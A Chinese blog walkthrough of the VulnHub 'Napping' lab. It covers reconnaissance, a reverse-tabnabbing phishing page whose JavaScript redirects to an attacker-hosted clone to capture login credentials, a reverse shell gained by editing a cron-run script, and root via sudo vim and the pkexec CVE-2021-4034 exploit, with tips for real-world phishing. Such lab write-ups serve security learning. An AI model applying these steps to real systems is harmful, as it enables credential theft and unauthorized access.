Vulnhub-napping

1.信息收集

先用arp-scan探测出靶机地址

arps-scan -l

image-20220514172821352

显然靶机地址 10.1.1.106,然后利用nmap进行详细信息收集

nmap -A 10.1.1.106

image-20220514173006753

可以看到,目标的端口开放情况

22:ssh
80 http

2.漏洞利用

对于22端口的利用 肯定想到的是对root进行弱口令

这里我们首先访问80端口看一下:

image-20220514192533873

是一个登录界面,查看源码也没发现什么,并且这里尝试爆破无果,因为反回的是image-20220514192702324

也没法爆破用户名,所以这里我们注册一个用户然后看有什么功能点

image-20220514192913892

钓鱼攻击

进去之后是这样一个页面,当你输入一个url时他会进行访问,写道这里我的第一思路就是xss然后盗取cookie,但是简单写了一个xss反弹到本地的发现获取不到cookie,所以先就这样

尝试输入一个连接

image-20220514193230477

发现这里的超链接的打开方式target=_blank,并且没有设置rel="noopener",所以这里可能存在Reverse Tabnabbing 的钓鱼攻击,具体参考链接:

https://xz.aliyun.com/t/7080?page=1

了解了Reverse Tabnabbing的钓鱼攻击后接下来我们的思路就是

1.复制网站登录界面

两种方式

  • CTRL+S直接保存

  • 查看源码复制粘贴

  • wget url 直接下载

这里我们直接源码复制粘贴到靶机上

image-20220514193738943

这里就相当于上述文章中的C页面 所以我们接下来还需要写一个B页面 并且在B页面里写JS控制A页面,B页面代码如下

<html>
<script>
	if(windwo.opener) window.opener.location="http://10.1.1.2:6666/index.html";
			else alert("NO");
</script>
</html>

这里我们B页面和C页面都准备好了 这里我们选择用python搭建临时服务器来把我们的页面映射出来

python3搭建临时服务器
python3 -m http.server port

这里只把B页面用python临时服务器映射出来 然后nc本地监听6666端口

image-20220514212533362

image-20220514212542262

最终的到账号密码

username:daniel
password:C@ughtm3napping123

这里的话我本来是用python的临时服务器把B和C页面都给映射了出来,然后准备看日志,但是结果是靶机提交的POST方法无法看完整的日志,就没有具体的信息,所以需要开两个服务,但是这里其实并没有把C给映射出来 我猜测是靶机设置的缘故,检测到B中的跳转的URL就直接控制发包了,实战之中的话可以再设置一个页面来进行接受消息并且把钓鱼页面做一个点击跳转的功能,就是输入完账号密码提示输入错误 然后跳转到官方页面

接下来我们利用钓鱼到的账号密码进行尝试登录

image-20220514213057593

登录失败,尝试ssh登录

image-20220514213238192

image-20220514215033365

3.本地提权

1.sudo提权

登陆的用户是属于administrators用户组,利用find命令查看一下可写的文件,发现adrian用户目录下的query.py文件是写的

find / -group administrators -type f 2>/dev/null

image-20220514231806723

query.py文件是属于另一个用户的 即 adrian,同目录下也有别的文件

image-20220514214848042

分别看下里面都有什么

  • query.py

image-20220514232134368

这个脚本是检测网站是否存活,然后不停向site_status.txt写入文件

  • site_status.txt

里面都是写入的一些日志,很明显可以看出这里时间间隔是两分钟,也就是说肯定存在一个计划任务,每两分钟就启动一次query.py脚本,而我们有query.py的权限,直接让他运行一个sh脚本就可以拿到adrian权限

image-20220514232311053

  • user.txt

权限不够,只有adrian/root才可以查看

image-20220514232402454

所以根据上述的思路 在query.py中写入如下内容

image-20220514235534838

并且在攻击机上开启监听,稍等一会后得到反弹shell

image-20220514235631465

这里可以提升一下我们的shell


Then we can upgrade our shell:

  1. python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z
  2. stty raw -echo;fg then press ENTER twice
  3. export TERM=xterm

查看一下user.txt,一个有意思的提示

image-20220514235709593

看一下计划任务,确实 印证了我们的猜想

crontab -l

image-20220514235947786

查看一下我们sudo权限,一个令人愉快的NOPASSWD:/usr/bin/vim

sudo -l

image-20220515000311483

所以这里利用vim提权

sudo /usr/bin/vim -c ':!/bin/sh'

或者

sudo vim
:shell

最后得到权限

image-20220515000653425

完结:

image-20220515000640042

image-20220515001314322

2.pkexec提权

  • pkexec本地特权提升漏洞(CVE-2021-4034)

查看一下pkexec的版本,对照一下版本表,可以一键梭哈

image-20220515001912267

因为靶机上有python环境 所以直接用python版本的exp打一下,上传后直接运行

image-20220515002152593

posted @ 2022-05-15 00:24  z2n3  阅读(67)  评论(0编辑  收藏  举报